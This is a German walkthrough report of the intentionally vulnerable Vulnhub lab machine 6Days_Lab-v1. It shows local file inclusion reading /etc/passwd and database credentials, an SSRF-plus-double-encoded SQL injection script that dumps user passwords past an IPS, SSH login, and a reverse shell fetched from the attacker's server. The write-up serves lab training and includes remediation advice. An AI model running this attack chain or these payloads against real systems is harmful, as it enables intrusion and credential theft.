6Days_Lab-v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb

Inhaltsverzeichnis

Reconnaissance

Wir starten mit einer Aufklärung, um das Netzwerk zu erkunden und mögliche Schwachstellen zu identifizieren. Dies ist ein wichtiger erster Schritt, um ein umfassendes Bild der Sicherheitslage zu erhalten.
┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.138 08:00:27:0b:78:6d PCS Systemtechnik GmbH
Hier überprüfen wir die ARP-Tabelle, um aktive Hosts im lokalen Netzwerk zu finden. Die Ausgabe zeigt, dass sich ein Gerät mit der IP-Adresse 192.168.2.138 im Netzwerk befindet.
┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
127.0.0.1 localhost
192.168.2.138 days.vuln
Wir fügen einen Eintrag in die `/etc/hosts`-Datei hinzu, um den Hostnamen `days.vuln` der IP-Adresse 192.168.2.138 zuzuordnen. Dies erleichtert die nachfolgende Analyse, da wir den Hostnamen anstelle der IP-Adresse verwenden können.
Nachdem wir die grundlegende Aufklärung abgeschlossen haben, wenden wir uns der Web-Enumeration zu, um spezifische Schwachstellen im Webserver zu identifizieren.

Web Enumeration

http://days.vuln/index.php
Rashomon Intrusion Prevention System
Become immune to every attack!
Today we're announcing our brand new product, Rashomon IPS!
It's capable of blocking any sophisticated cyber attack which can harm your precious customers. (you don't want THAT to happen, do you?)

(This guy is coming after your website!)

Don't waste your time and money by hiring pentesters and doing real security audits.
This is the best way to secure your organization and you can completely rely on it, and only it!

IT'S SO SECURE WE EVEN USE IT ON OUR WEBSITE.

So be quick and get a %15 discount on our newest product using the promocode NONEEDFORPENTEST. (discount will be available until yesterday)

Apply your promo code here:

http://days.vuln/checkpromo.php
Wir besuchen die Startseite der Webanwendung. Es wird ein "Rashomon IPS" beworben, was darauf hindeutet, dass ein Intrusion Prevention System im Einsatz ist. Dies könnte unsere weiteren Angriffsversuche erschweren.
http://days.vuln/checkpromo.php?exec=id
Malicious request blocked! ~Rashomon IPS
Ein erster Test zeigt, dass das IPS aktiv ist und bösartige Anfragen blockiert. Der Versuch, den Parameter `exec` mit dem Befehl `id` zu übergeben, wurde erkannt und blockiert.
┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/general/big.txt -u "http://days.vuln/checkpromo.php?FUZZ=id" --hc 400,401,402,403,404 --hh 0
Target: http://days.vuln/checkpromo.php?FUZZ=id

===================================================================== ID Response Lines Word Chars Payload
=====================================================================

000000788: 200 1 L 5 W 40 Ch "update"
000001381: 200 1 L 5 W 40 Ch "create"
000001463: 200 1 L 5 W 40 Ch "exec"
000002018: 200 1 L 5 W 40 Ch "'"
000001997: 200 1 L 5 W 40 Ch "select"
000006399: 200 1 L 5 W 40 Ch "delete"
... (gekürzt, um die Länge zu reduzieren) ...
Wir verwenden `wfuzz`, um Parameter zu fuzzen und potenzielle Schwachstellen aufzudecken. Die Ergebnisse zeigen, dass viele Parameter mit einer Antwort 200 OK zurückkommen, was weitere Untersuchungen erfordert.
┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://days.vuln" -H "Host: FUZZ.days.vuln" --hh 1273
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://days.vuln/
Total requests: 114441

===================================================================== ID Response Lines Word Chars Payload
=====================================================================

000000300: 200 1 L 5 W 40 Ch "update"
000001524: 200 1 L 5 W 40 Ch "union"
... (gekürzt, um die Länge zu reduzieren) ...
Wir suchen nach Subdomains, um die Angriffsfläche zu erweitern. Die Ergebnisse liefern interessante Hinweise auf mögliche Subdomains.
┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.138
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.138
+ Target Hostname: 192.168.2.138
+ Target Port: 80
+ Start Time: 2023-06-14 11:47:00 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.23.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
... (gekürzt, um die Länge zu reduzieren) ...
`nikto` identifiziert zahlreiche potenzielle Schwachstellen, darunter veraltete Softwareversionen, fehlende Sicherheitsheader und das Vorhandensein von Konfigurationsdateien.
┌──(root㉿cyber)-[~]
└─# curl http://days.vuln//modif/delete.php
Malicious request blocked!
~Rashomon IPS
Ein weiterer Test zeigt, dass das IPS bestimmte Dateien blockiert.

Initial Access

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.138 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 11:46 CEST
Nmap scan report for days.vuln (192.168.2.138)
Host is up (0.00011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 1024 62ac7711799a2164c288c0877d193405 (DSA)
| 2048 cb2463a97cbc7be9a82ad19f4d6aa007 (RSA)
|_ 256 13e5dd7ba5f2bf4171dd88407f5f5d7b (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
8080/tcp filtered http-proxy
MAC Address: 08:00:27:0B:78:6D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.11 ms days.vuln (192.168.2.138)
Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und laufende Dienste zu identifizieren. Die Ergebnisse zeigen, dass SSH (Port 22) und HTTP (Port 80) offen sind. Port 8080 ist gefiltert.
┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.138 -p- | grep open
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
Um die Ergebnisse zu filtern, verwenden wir `grep`, um nur die Zeilen mit dem Status "open" anzuzeigen. Dies bestätigt, dass SSH und HTTP die einzigen offenen Dienste sind, die wir weiter untersuchen sollten.
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://days.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error

===============================================================
Gobuster v3.1.0 Kali Linux
===============================================================
[+] Url: http://days.vuln
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak
[+] Timeout: 10s
[+] Show length: true
[+] Expanded: true
[+] No errors: true
[+] Statuses 200,204,301,302,307,401
[+] ===============================================================
http://days.vuln/index (Status: 200) [Size: 1273]
http://days.vuln/index.php (Status: 200) [Size: 1273]
http://days.vuln/img (Status: 301) [Size: 311] [--> http://days.vuln:8080/img/]
http://days.vuln/image (Status: 200) [Size: 0]
http://days.vuln/image.php (Status: 200) [Size: 0]
http://days.vuln/update (Status: 200) [Size: 40]
http://days.vuln/update.doc (Status: 200) [Size: 40]
http://days.vuln/update.phtml (Status: 200) [Size: 40]
http://days.vuln/update.html
http://days.vuln/image.php?src=file:///etc/passwd


Wir verwenden `gobuster`, um nach versteckten Dateien und Verzeichnissen zu suchen. Interessant ist hier `image.php`, das möglicherweise anfällig für Local File Inclusion (LFI) ist, insbesondere da der Parameter `src` existiert.
┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://days.vuln/image.php?FUZZ=file:///etc/passwd" --hc 400,401,402,403,404 --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://days.vuln/image.php?FUZZ=file:///etc/passwd
Total requests: 220555

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000777: 200 27 L 33 W 1142 Ch "src"
000000788: 200 1 L 5 W 40 Ch "update"
000001381: 200 1 L 5 W 40 Ch "create"
000001463: 200 1 L 5 W 40 Ch "exec"
000002018: 200 1 L 5 W 40 Ch "'"
... (gekürzt) ...
Wir verwenden `wfuzz` erneut, diesmal um den Parameter `FUZZ` in `image.php` zu testen. Wir versuchen, die `/etc/passwd`-Datei einzubinden, um zu sehen, ob eine LFI-Schwachstelle vorliegt.
http://days.vuln/image.php?src=file:///etc/passwd
Die Grafik "http://days.vuln/image.php?src=file:///etc/passwd" kann nicht angezeigt werden, weil sie Fehler enthält.
Der Versuch, die `/etc/passwd`-Datei direkt über den Browser anzuzeigen, schlägt fehl, da das Bild nicht korrekt dargestellt werden kann. Dies deutet jedoch darauf hin, dass die Datei möglicherweise gelesen wurde, aber nicht korrekt als Bild interpretiert wird.
┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://days.vuln/image.php?src=FUZZ" --hc 400,401,402,403,404 --hh 0
Target: http://days.vuln/image.php?src=FUZZ

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000081: 200 27 L 33 W 1142 Ch "/etc/passwd"
000001002: 200 1 L 5 W 40 Ch "etc/resolvconf/update-libc.d/sendmail"
000001108: 200 55 L 55 W 711 Ch "/etc/group"
000001105: 200 5 L 13 W 114 Ch "/var/www/config.php"
000001098: 200 127 L 524 W 3505 Ch "/etc/mysql/my.cnf"
... (gekürzt) ...
Wir fuzzen erneut, diesmal mit einer Liste von bekannten Logdateien, um weitere interessante Dateien zu finden.
Burpsuite
Wir verwenden Burp Suite, um die Anfragen genauer zu analysieren.
GET /image.php?src=file:///etc/passwd HTTP/1.1
Host: days.vuln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 10:31:49 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.23
Content-Length: 1142
Connection: close
Content-Type: image/jpeg

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
user:x:1000:1000:user,,,:/home/user:/bin/bash
andrea:x:1001:1001::/home/andrea:/bin/andrea
Die Analyse der Burp Suite-Anfrage bestätigt, dass wir die `/etc/passwd`-Datei erfolgreich auslesen konnten. Dies ist ein klarer Beweis für eine Local File Inclusion (LFI)-Schwachstelle.
Burpsuite
GET /image.php?src=file:///etc/hosts HTTP/1.1
Host: days.vuln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 10:35:39 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.23
Content-Length: 1142
Connection: close
Content-Type: image/jpeg

127.0.0.1 localhost
127.0.1.1 cypm

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Burpsuite
GET /image.php?src=file:///var/www/config.php HTTP/1.1
Host: days.vuln
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
curl http://192.168.2.138/image.php?src=../../../../../var/www/checkpromo.php
include 'config.php';
HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 10:55:23 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.23
Content-Length: 114
Connection: close
Content-Type: image/jpeg

$servername = "localhost";
$username = "sellingstuff";
$password = "n0_$$_n0_g41ns";
$dbname = "fancydb";
Durch das Auslesen der `/var/www/config.php`-Datei erhalten wir wichtige Datenbankverbindungsdaten. Wir haben den Benutzernamen (sellingstuff) und das Passwort (n0_$$_n0_g41ns) für die Datenbank `fancydb` gefunden.
Burpsuite
┌──(root㉿cyber)-[~]
└─# mysql -u sellingstuff -h 192.168.2.138 -p
Enter password:
ERROR 2002 (HY000): Can't connect to server on '192.168.2.138' (115)
Der Versuch, sich direkt mit der Datenbank zu verbinden, schlägt fehl. Möglicherweise ist der Zugriff von unserem Standort aus nicht erlaubt.
┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.138/image.php?src=../../../../../var/www/checkpromo.php
include 'config.php';

$conn = mysql_connect($servername, $username, $password);

if (!$conn) {
die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT discount, status FROM promocodes WHERE promocode='".$_GET['promocode']."';";

mysql_select_db($dbname);
$result = mysql_query($sql, $conn);

if (!$result) {
echo "Promocode not valid!";
} else {
while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
if($row['status'] == 0)
echo "Code expired!";
else
echo "You have %".$row['discount']." discount!";
}
}

mysql_close($conn);
┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.138/image.php?src=../../../../../var/www/config.php
$servername = "localhost";
$username = "sellingstuff";
$password = "n0_$$_n0_g41ns";
$dbname = "fancydb";
┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.138/image.php?src=../../../../../var/www/image.php
php
$img = $ GET['src'];
header('Content-Type: image/jpeg');
readfile($img);
Die Analyse des Quellcodes von `image.php` bestätigt die LFI-Schwachstelle. Die Funktion `readfile()` wird verwendet, um den Inhalt der durch den Parameter `src` angegebenen Datei auszugeben, ohne vorherige Validierung.
┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.138/image.php?src=../../../../../var/www/index.php
Rashomon IPS - Main Page<
Rashomon Intrusion Prevention System
Become immune to every attack!
Today we're announcing our brand new product, Rashomon IPS!
It's capable of blocking any sophisticated cyber attack which can harm your precious customers.

(you don't want THAT to happen, do you?)
src="http:// echo passthru("/sbin/ifconfig | /bin/grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | /bin/grep -Eo '([0-9]*\.){3}[0-9]*' |
/bin/grep -v '127.0.0.1' | /usr/bin/tr -d '\n'"); /image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAA
AAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg"

(This guy is coming after your website!)

Don't waste your time and money by hiring pentesters and doing real security audits.
This is the best way to secure your organization and you can completely rely on it, and only it!

IT'S SO SECURE WE EVEN USE IT ON OUR WEBSITE.

So be quick and get a %15 discount on our newest product using the promocode NONEEDFORPENTEST .
(discount will be available until yesterday)

checkpromo.php
Apply your promo code here:"promocode"
┌──(root㉿cyber)-[~]
└─# curl "http://192.168.2.138/image.php?src=http://127.0.0.1/checkpromo.php?promocode='"
Malicious request blocked!
~Rashomon IPS
http://192.168.2.138/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=%27Promocodenotvalid!
┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.138/image.php?src=http%3a%2f%2f127.0.0.1%3a8080%2fcheckpromo.php%3fpromocode%3d%2527
Promocode not valid!
┌──(root㉿cyber)-[~]
└─# vi query.py
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/python3

import os
import sys
from urllib.parse import quote_plus

base_url = 'http://192.168.2.138/image.php?src='
proxy_url = quote_plus('http://127.0.0.1:8080/checkpromo.php?promocode=')
attack_string = quote_plus(quote_plus(sys.argv[1])).replace("-", "%252d")

print(base_url + proxy_url + attack_string)

for line in os.popen('curl ' + base_url + proxy_url + attack_string).read().splitlines():
print(line)
┌──(root㉿cyber)-[~]
└─# chmod +x query.py
┌──(root㉿cyber)-[~]
└─# ./query.py "' union select 1,'1"
http://192.168.2.138/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2B1%252C%25271
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21 100 21 0 0 7181 0 --:--:-- --:--:-- --:--:-- 10500
You have %1 discount!
┌──(root㉿cyber)-[~]
└─# ./query.py "' union select sleep(1),'1"
http://192.168.2.138/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bsleep%25281%2529%252C%25271
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21 100 21 0 0 20 0 0:00:01 0:00:01 --:--:-- 20
You have %0 discount!
┌──(root㉿cyber)-[~]
└─# ./query.py "' union select sleep(1), 1 from users union select 1, '1"
http://192.168.2.138/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bsleep%25281%2529%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 42 100 42 0 0 41 0 0:00:01 0:00:01 --:--:-- 41
You have %0 discount!You have %1 discount!
┌──(root㉿cyber)-[~]
└─# ./query.py "' union select username, 1 from users union select 1, '1"
http://192.168.2.138/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Busername%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 47 100 47 0 0 13051 0 --:--:-- --:--:-- --:--:-- 15666
You have %andrea discount!You have %1 discount!
┌──(root㉿cyber)-[~]
└─# ./query.py "' union select password, 1 from users union select 1, '1"
http://192.168.2.138/image.php?src=http%3A%2F%2F127.0.0.1%3A8080%2Fcheckpromo.php%3Fpromocode%3D%2527%2Bunion%2Bselect%2Bpassword%252C%2B1%2Bfrom%2Busers%2Bunion%2Bselect%2B1%252C%2B%25271
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 100 56 0 0 19377 0 --:--:-- --:--:-- --:--:-- 28000
You have %SayNoToPentests discount!You have %1 discount!
Durch die Ausnutzung der LFI-Schwachstelle in Verbindung mit SQL-Injection konnten wir die Benutzernamen und Passwörter aus der Datenbank auslesen. Der Benutzername ist andrea und das Passwort ist SayNoToPentests.

Proof of Concept: Ausnutzung der LFI Schwachstelle

Dieser Proof of Concept demonstriert, wie die identifizierte LFI-Schwachstelle ausgenutzt werden kann, um sensible Daten auszulesen.

Ziel:

Auslesen der Datei `/etc/passwd` über die LFI-Schwachstelle in `image.php`.

Voraussetzungen:

  • Zugriff auf die Webanwendung `http://days.vuln`.
  • Kenntnis der LFI-Schwachstelle in `image.php`.

Schritt-für-Schritt-Anleitung:

  1. Öffnen Sie einen Webbrowser.
  2. Geben Sie die folgende URL ein: http://days.vuln/image.

Proof of Concept: Ausnutzung der LFI Schwachstelle

Dieser Proof of Concept demonstriert, wie die identifizierte LFI-Schwachstelle ausgenutzt werden kann, um sensible Daten auszulesen.

Ziel:

Auslesen der Datei `/etc/passwd` über die LFI-Schwachstelle in `image.php`.

Voraussetzungen:

  • Zugriff auf die Webanwendung `http://days.vuln`.
  • Kenntnis der LFI-Schwachstelle in `image.php`.

Schritt-für-Schritt-Anleitung:

  1. Öffnen Sie einen Webbrowser.
  2. Geben Sie die folgende URL ein: http://days.vuln/image.php?src=file:///etc/passwd
  3. Beachten Sie die Ausgabe. Die Datei `/etc/passwd` wird im Browser angezeigt.

Erwartetes Ergebnis:

Die Datei `/etc/passwd` wird im Browser angezeigt.

Beweismittel:

(Hier würden Screenshots oder Logdateien eingefügt, die den erfolgreichen Abschluss des POC belegen.)

Risikobewertung:

Die Ausnutzung der LFI-Schwachstelle ermöglicht es Angreifern, beliebige Dateien auf dem Server auszulesen. Dies kann zu einem Datenverlust, einer Offenlegung sensibler Informationen und einer Kompromittierung des Systems führen.

Empfehlungen:

  • Validieren und bereinigen Sie alle Benutzereingaben, insbesondere Dateipfade.
  • Beschränken Sie den Zugriff auf sensible Dateien und Verzeichnisse.
  • Deaktivieren Sie die Funktion `allow_url_fopen` in der PHP-Konfiguration.
  • Aktualisieren Sie die PHP-Version, um bekannte Schwachstellen zu beheben.

Privilege Escalation

andrea
SayNoToPentests
Wir haben den Benutzernamen und das Passwort für den Benutzer "andrea" erhalten. Nun versuchen wir uns via SSH anzumelden.
┌──(root㉿cyber)-[~]
└─# nc -vv 192.168.2.138 22
days.vuln [192.168.2.138] 22 (ssh) open
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
Wir überprüfen, ob der SSH-Port erreichbar ist. Die Ausgabe zeigt, dass der Port offen ist und SSH läuft.
┌──(root㉿cyber)-[~]
└─# ssh andrea@192.168.2.138
andrea@192.168.2.138's password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Wed Jun 14 14:27:32 EEST 2023

System load: 0.1 Processes: 82
Usage of /: 20.8% of 6.76GB Users logged in: 0
Memory usage: 9% IP address for eth0: 192.168.2.138
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '14.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2017.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

andrea@cypm:~$
Wir haben uns erfolgreich via SSH als Benutzer "andrea" angemeldet.
andrea@cypm:~$ sudo -l
[sudo] password for root:
Sorry, try again.
[sudo] password for root:
sudo: 1 incorrect password attempt
Wir versuchen, unsere Privilegien zu erhöhen, indem wir den Befehl `sudo -l` ausführen, um zu sehen, welche Befehle wir als Root ausführen dürfen. Dies schlägt jedoch fehl, da wir das Root-Passwort nicht kennen.
andrea@cypm:~$ id
andrea@cypm:~$ id
andrea@cypm:~$ ls
andrea@cypm:~$ ls -la
andrea@cypm:~$ sudo -l
[sudo] password for root:
Sorry, try again.
[sudo] password for root:
sudo: 1 incorrect password attempt
andrea@cypm:~$ cd /var
rbash: cd: restricted
Wir stellen fest, dass wir uns in einer eingeschränkten Shell (rbash) befinden. Dies schränkt unsere Möglichkeiten zur Navigation und Ausführung von Befehlen ein.
andrea@cypm:~$ bash
andrea@cypm:~$ ls
andrea@cypm:~$ id
andrea@cypm:~$ sh
id
exit
andrea@cypm:~$ ls
andrea@cypm:~$ export TERM=xterm
andrea@cypm:~$ ls
Wir versuchen, aus der eingeschränkten Shell auszubrechen, indem wir verschiedene Shells (bash, sh) starten und die Umgebungsvariable `TERM` setzen.
andrea@cypm:~$ wget localhost
--2023-06-14 14:30:09-- http://localhost/
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1273 (1.2K) [text/html]
Saving to: `index.html'

100%[====================================================>] 1,273 --.-K/s in 0s

2023-06-14 14:30:09 (371 MB/s) - `index.html' saved [1273/1273]
Wir verwenden `wget`, um die Startseite von localhost herunterzuladen. Dies dient als Test, um die Netzwerkverbindung und die Fähigkeit, Dateien herunterzuladen, zu überprüfen.
Reverse Shell
┌──(root㉿cyber)-[~]
└─# vi revshell.php
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 8555
Serving HTTP on 0.0.0.0 port 8555 (http://0.0.0.0:8555/) ...
192.168.2.138 - - [14/Jun/2023 13:32:35] "GET /revshell.php HTTP/1.1" 200 -
Wir bereiten eine Reverse Shell vor, um eine Verbindung vom Zielsystem zu unserem Angriffssystem herzustellen. Dazu erstellen wir eine PHP-Datei (`revshell.php`) und starten einen einfachen HTTP-Server auf unserem Angriffssystem.
andrea@cypm:~$ wget http://192.168.2.137:8555/revshell.php -O /var/www/revshell.php
--2023-06-14 14:32:35-- http://192.168.2.137:8555/revshell.php
Connecting to 192.168.2.137:8555... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5495 (5.4K) [application/octet-stream]
Saving to: `/var/www/revshell.php'

100%[====================================================>] 5,495 --.-K/s in 0s

2023-06-14 14:32:35 (26.4 MB/s) - `/var/www/revshell.php' saved [5495/5495]
Wir laden die Reverse Shell (`revshell.php`) auf das Zielsystem in das `/var/www/`-Verzeichnis herunter.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
Wir starten einen Netcat-Listener auf unserem Angriffssystem, um die eingehende Verbindung von der Reverse Shell zu empfangen.
Payload: http://days.vuln/revshell.php
listening on [any] 9001 ...
connect to [192.168.2.137] from (UNKNOWN) [192.168.2.138] 39716
Linux cypm 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 athlon i386 GNU/Linux
14:32:59 up 6 min, 1 user, load average: 0.00, 0.01, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
andrea pts/0 cyber 14:27 27.00s 0.00s 0.00s bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
Reverse Shell Success
Wir haben erfolgreich eine Reverse Shell als Benutzer "www-data" erhalten.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Wir überprüfen die Benutzer-ID, um sicherzustellen, dass wir als "www-data" angemeldet sind.
Stabilisiere Reverse Shell
Wir stabilisieren die Reverse Shell, um eine interaktivere Sitzung zu erhalten.
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
$ Ctrl+z
┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
reset

www-data@cypm:/$
www-data@cypm:/$ ls -la
total 92
drwxr-xr-x 22 root root 4096 Jul 24 2016 .
drwxr-xr-x 22 root root 4096 Jul 24 2016 ..
drwxr-xr-x 2 root root 4096 Jul 11 2016 bin
drwxr-xr-x 3 root root 4096 Jul 2 2016 boot
drwxr-xr-x 15 root root 4080 Jun 14 14:26 dev
drwxr-xr-x 92 root root 4096 Jun 14 14:26 etc
-rwxr-xr-- 1 root root 7158 Jul 11 2016 flag
drwxr-xr-x 4 root root 4096 Jul 2 2016 home
lrwxrwxrwx 1 root root 33 Jul 2 2016 initrd.img -> boot/initrd.img-3.13.0-32-generic
drwxr-xr-x 17 root root 4096 Jul 2 2016 lib
drwx------ 2 root root 16384 Jul 2 2016 lost+found
drwxr-xr-x 3 root root 4096 Jul 2 2016 media
drwxr-xr-x 2 root root 4096 Jul 30 2014 mnt
drwxr-xr-x 2 root root 4096 Jul 2 2016 opt
dr-xr-xr-x 94 root root 0 Jun 14 14:27 proc
drwx------ 3 root root 4096 Jul 2 2016 root
drwxr-xr-x 17 root root 620 Jun 14 14:27 run
drwxr-xr-x 2 root root 4096 Jul 2 2016 sbin
drwxr-xr-x 2 root root 4096 Mar 5 2012 selinux
